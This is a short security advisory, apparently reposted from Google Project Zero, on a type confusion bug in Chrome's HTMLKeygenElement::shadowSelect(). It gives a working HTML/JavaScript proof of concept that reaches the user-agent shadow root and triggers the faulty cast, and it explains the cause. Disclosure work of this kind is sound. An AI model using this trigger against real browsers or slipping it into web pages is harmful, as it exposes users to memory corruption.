Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion
Posted on 01 February 2017
Google Chrome: Type confusion in HTMLKeygenElement::shadowSelect() Chrome bug: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=666246" title="" class="" rel="nofollow">https://bugs.chromium.org/p/chromium/issues/detail?id=666246</a> PoC: <keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;"> <script> var range = document.caretRangeFromPoint(50, 50); var shadow_tree_container = range.commonAncestorContainer; shadow_tree_container.prepend("foo"); keygen_element.disabled = true; </script> What happens here: 1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript 2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: ifratric
